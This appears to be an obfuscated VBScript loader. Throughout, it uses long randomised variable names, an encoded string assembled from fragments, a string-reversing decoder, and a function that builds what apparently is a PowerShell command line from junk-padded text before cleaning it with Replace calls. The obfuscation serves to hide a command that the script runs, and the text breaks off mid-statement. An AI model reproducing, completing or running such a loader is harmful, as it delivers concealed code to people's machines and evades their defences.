dim YhXIOYbnmRTcbeRLvxlHWiakCNPcODwbxBMGocSfeNGpicYnKRbYyPRDsHDnOAlKOYWRGbqWayDGkxUckzOGSMUcX
YhXIOYbnmRTcbeRLvxlHWiakCNPcODwbxBMGocSfeNGpicYnKRbYyPRDsHDnOAlKOYWRGbqWayDGkxUckzOGSMUcX = OiOfPNJnKOKBNAApYvLcqARoNUGNBipkAevNKPNWZUZUKtBZAAkfcDfUJORsXMsoPdqfCDYqiWincAgIcRacfAgpz("==
uBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
1Bw" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
Q" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
nBg" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
qBw" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
nBg" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
nBg" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
0BQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
0BQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
Q" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
0BQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
Q" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
yBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
Q" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
tBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
tBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
kBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
tBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
w" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
4BQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
lBw" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
4BQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
0Bw" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
Q" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
Q" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
4BQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
lBw" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
4BQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
uBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
g" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
4BQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
UBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
CBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
dBw" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
tBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
VBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
iBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
lBw" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
tBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
uBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
fBQ" & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP & wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP & "
YhXIOYbnmRTcbeRLvxlHWiakCNPcODwbxBMGocSfeNGpicYnKRbYyPRDsHDnOAlKOYWRGbqWayDGkxUckzOGSMUcX = NdwNcJRWlNlmJuIHCKPDqwyLJCJJmOWmCwSDGgnuHHGHoXWGwImMWWxpLrkmfYJZcuqkyDoqOAOcLCaDLLqDkJNHP( YhXIOYbnmRTcbeRLvxlHWiakCNPcODwbxBMGocSfeNGpicYnKRbYyPRDsHDnOAlKOYWRGbqWayDGkxUckzOGSMUcX, wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP + GWWGNqAmPKPrhnTUWudhjWJDcleUrSepUaLqHCtoeNZyolDlWTpSpNXrQKKcPIWyGWjBcBUaWgSTuUUOurWdalDpP + wSJgPZXLcwcayQctnGDxXNawLRIwPTynYRJGyYBYJWHWxGYQNcnmdWWKUTkNPWDvPxXPDDOdbLTKrYeWrsQRYSWaP , "Z")
Function WBcHUiLHUWDcWPdWWUYUxRRNmUcjSOPuwDWWHMUoAJXSsaasqdukJzxxvJwcvOXUHtnZfLUumrWDRPjhRxUKYLPGv(input)
WBcHUiLHUWDcWPdWWUYUxRRNmUcjSOPuwDWWHMUoAJXSsaasqdukJzxxvJwcvOXUHtnZfLUumrWDRPjhRxUKYLPGv = StrReverse(input)
End Function
Function PecxYhWDccTDdUKzQNDWjxeKMmwiLUskddUzNHqPKcDgqAZGWKkWvmUBUSyUPaDUYnjWWPjjYUUDcdgqczWlNUoIK(command)
Dim woPhOiwQwMLsJWRIaOtqwKaGoLPOipvdOBeQoObiqozhQgcnqRdLyqPWbrqcSDtKOOwgcfqwxfpzvObIvBUnSewCJ, cIbPOMxPLWBRNPRkfgTxdnasuOPoGNLTOBqxoeKuPNnvSpyWpRTYyUSnxUNobWTKOPduJWbdimNnBOXpBIiIGqcoj
cIbPOMxPLWBRNPRkfgTxdnasuOPoGNLTOBqxoeKuPNnvSpyWpRTYyUSnxUNobWTKOPduJWbdimNnBOXpBIiIGqcoj = "(@@))($1!)$$#$(*@$%
(!#$/&(+(!&(
##!-&@!
0#$/(@*#4#((**&8(%7)$&19
)!!*(%$13)))%(%@)*))1@$ow
(@*(*:
(@*(*:
(ll -co*@#&&/$*!*$$#$-&@1$%(!#%%
&%##!*
@!%(#%*&@
#%#&*%*
(($$&$
($%&!@&&$$%((&(%*
&(@$*@#&&/$*!*$$#$-&@1$%(!#%%
&%##!*
@!%(#%*&@
#%#&*%*
(($$&$
($%&!@&&$$%((&(%*
&(@$and " & command
cIbPOMxPLWBRNPRkfgTxdnasuOPoGNLTOBqxoeKuPNnvSpyWpRTYyUSnxUNobWTKOPduJWbdimNnBOXpBIiIGqcoj = Replace(cIbPOMxPLWBRNPRkfgTxdnasuOPoGNLTOBqxoeKuPNnvSpyWpRTYyUSnxUNobWTKOPduJWbdimNnBOXpBIiIGqcoj,"
(@*(*:
(","e")
